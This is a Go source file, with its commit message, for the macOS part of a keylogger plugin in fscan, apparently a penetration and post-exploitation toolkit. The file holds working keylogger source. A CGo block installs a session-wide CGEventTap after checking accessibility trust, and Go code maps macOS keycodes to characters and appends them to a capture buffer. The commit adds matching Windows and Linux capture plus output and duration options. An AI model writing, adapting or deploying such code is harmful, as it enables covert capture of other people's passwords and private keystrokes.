fscan/Plugins/local/keylogger/keylogger_darwin.go
ZacharyZcR c9d07ebd9b feat: 添加跨平台键盘记录本地插件
- 实现Windows键盘Hook机制,支持低级键盘事件捕获
- 实现Linux输入设备监听,支持/dev/input/eventX设备读取
- 实现macOS Core Foundation事件监听,支持CGEventTap
- 添加键盘记录配置参数:-keylog-output和-keylog-duration
- 修复Windows消息循环阻塞问题,改用PeekMessage非阻塞模式
- 支持跨平台键盘输入捕获和文件输出
- 集成到FScan本地插件系统,支持-localplugin keylogger调用
2025-08-11 08:55:01 +08:00

289 lines
7.3 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// +build darwin
package keylogger
/*
#cgo CFLAGS: -x objective-c
#cgo LDFLAGS: -framework Cocoa -framework Carbon -framework ApplicationServices
#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>
#import <ApplicationServices/ApplicationServices.h>
// 键盘事件回调函数
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon);
// 启动事件监听
int startEventMonitoring(void);
// 停止事件监听
void stopEventMonitoring(void);
// 全局变量
static CFMachPortRef eventTap = NULL;
static CFRunLoopSourceRef runLoopSource = NULL;
static bool isMonitoring = false;
// 外部回调函数Go函数
extern void handleKeyEvent(int keyCode, int isKeyDown);
// 键盘事件回调函数实现
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if (type == kCGEventKeyDown || type == kCGEventKeyUp) {
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
int isKeyDown = (type == kCGEventKeyDown) ? 1 : 0;
// 调用Go函数处理键盘事件
handleKeyEvent((int)keyCode, isKeyDown);
}
// 继续传递事件
return event;
}
// 启动事件监听
int startEventMonitoring(void) {
if (isMonitoring) {
return 0; // 已经在监听
}
// 检查辅助功能权限
if (!AXIsProcessTrusted()) {
return -1; // 没有辅助功能权限
}
// 创建事件tap
eventTap = CGEventTapCreate(
kCGSessionEventTap,
kCGHeadInsertEventTap,
kCGEventTapOptionDefault,
CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp),
keyboardEventCallback,
NULL
);
if (!eventTap) {
return -2; // 创建事件tap失败
}
// 创建run loop source
runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
// 添加到当前run loop
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
// 启用事件tap
CGEventTapEnable(eventTap, true);
isMonitoring = true;
return 0; // 成功
}
// 停止事件监听
void stopEventMonitoring(void) {
if (!isMonitoring) {
return;
}
if (eventTap) {
CGEventTapEnable(eventTap, false);
CFRelease(eventTap);
eventTap = NULL;
}
if (runLoopSource) {
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CFRelease(runLoopSource);
runLoopSource = NULL;
}
isMonitoring = false;
}
*/
import "C"
import (
"context"
"fmt"
"time"
"unsafe"
"github.com/shadow1ng/fscan/common"
)
var darwinKeylogger *KeyloggerPlugin
// checkDarwinRequirements 检查Darwin特定要求
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
common.LogInfo("检查macOS键盘记录权限...")
// 检查辅助功能权限
// 注意:实际运行时需要用户手动在系统偏好设置中授权
common.LogInfo("注意: macOS系统需要在'系统偏好设置 > 安全性与隐私 > 辅助功能'中授权此应用")
return nil
}
// startDarwinKeylogging 启动Darwin键盘记录
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
common.LogInfo("启动macOS键盘记录...")
// 设置全局引用
darwinKeylogger = p
// 启动事件监听
result := C.startEventMonitoring()
switch result {
case -1:
return fmt.Errorf("macOS辅助功能权限未授权请在系统偏好设置中启用")
case -2:
return fmt.Errorf("创建键盘事件监听失败")
case 0:
common.LogInfo("macOS键盘事件监听已启动")
default:
return fmt.Errorf("启动键盘监听时发生未知错误: %d", result)
}
// 启动RunLoop来处理事件
go p.runEventLoop(ctx)
// 等待上下文取消
<-ctx.Done()
// 停止事件监听
C.stopEventMonitoring()
common.LogInfo("macOS键盘记录已停止")
return nil
}
// runEventLoop 运行事件循环
func (p *KeyloggerPlugin) runEventLoop(ctx context.Context) {
// 这里需要运行Core Foundation的RunLoop来处理事件
// 由于Go和C的交互限制我们使用简单的循环来保持程序运行
ticker := time.NewTicker(100 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
// 保持循环运行让C的事件处理能够工作
continue
}
}
}
// handleKeyEvent Go回调函数由C代码调用
//export handleKeyEvent
func handleKeyEvent(keyCode C.int, isKeyDown C.int) {
if darwinKeylogger == nil {
return
}
// 只处理按键按下事件
if isKeyDown == 1 {
keyChar := getDarwinKeyChar(int(keyCode))
if keyChar != "" {
darwinKeylogger.addKeyToBuffer(keyChar)
}
}
}
// getDarwinKeyChar 获取macOS按键字符
func getDarwinKeyChar(keyCode int) string {
// macOS虚拟键码映射
keyMap := map[int]string{
0: "a", 1: "s", 2: "d", 3: "f", 4: "h", 5: "g", 6: "z", 7: "x", 8: "c", 9: "v",
11: "b", 12: "q", 13: "w", 14: "e", 15: "r", 16: "y", 17: "t",
18: "1", 19: "2", 20: "3", 21: "4", 22: "6", 23: "5", 24: "=", 25: "9", 26: "7",
27: "-", 28: "8", 29: "0", 30: "]", 31: "o", 32: "u", 33: "[", 34: "i", 35: "p",
36: "[Enter]",
37: "l", 38: "j", 39: "'", 40: "k", 41: ";", 42: "\\", 43: ",", 44: "/", 45: "n",
46: "m", 47: ".",
48: "[Tab]",
49: " ", // 空格
50: "`",
51: "[Delete]",
53: "[Esc]",
55: "[Cmd]",
56: "[Shift]",
57: "[CapsLock]",
58: "[Option]",
59: "[Ctrl]",
60: "[RShift]",
61: "[ROption]",
62: "[RCtrl]",
63: "[Fn]",
64: "[F17]",
65: "[KeypadDecimal]",
67: "[KeypadMultiply]",
69: "[KeypadPlus]",
71: "[KeypadClear]",
72: "[VolumeUp]",
73: "[VolumeDown]",
74: "[Mute]",
75: "[KeypadDivide]",
76: "[KeypadEnter]",
78: "[KeypadMinus]",
79: "[F18]",
80: "[F19]",
81: "[KeypadEquals]",
82: "[Keypad0]", 83: "[Keypad1]", 84: "[Keypad2]", 85: "[Keypad3]",
86: "[Keypad4]", 87: "[Keypad5]", 88: "[Keypad6]", 89: "[Keypad7]",
91: "[Keypad8]", 92: "[Keypad9]",
96: "[F5]",
97: "[F6]",
98: "[F7]",
99: "[F3]",
100: "[F8]",
101: "[F9]",
103: "[F11]",
105: "[F13]",
106: "[F16]",
107: "[F14]",
109: "[F10]",
111: "[F12]",
113: "[F15]",
114: "[Help]",
115: "[Home]",
116: "[PgUp]",
117: "[ForwardDelete]",
118: "[F4]",
119: "[End]",
120: "[F2]",
121: "[PgDn]",
122: "[F1]",
123: "[Left]",
124: "[Right]",
125: "[Down]",
126: "[Up]",
}
if keyName, exists := keyMap[keyCode]; exists {
return keyName
}
return fmt.Sprintf("[KEY_%d]", keyCode)
}
// checkWindowsRequirements 检查Windows特定要求Darwin平台的空实现
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
return fmt.Errorf("不支持的平台")
}
// checkLinuxRequirements 检查Linux特定要求Darwin平台的空实现
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台")
}
// startWindowsKeylogging 启动Windows键盘记录Darwin平台的空实现
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startLinuxKeylogging 启动Linux键盘记录Darwin平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}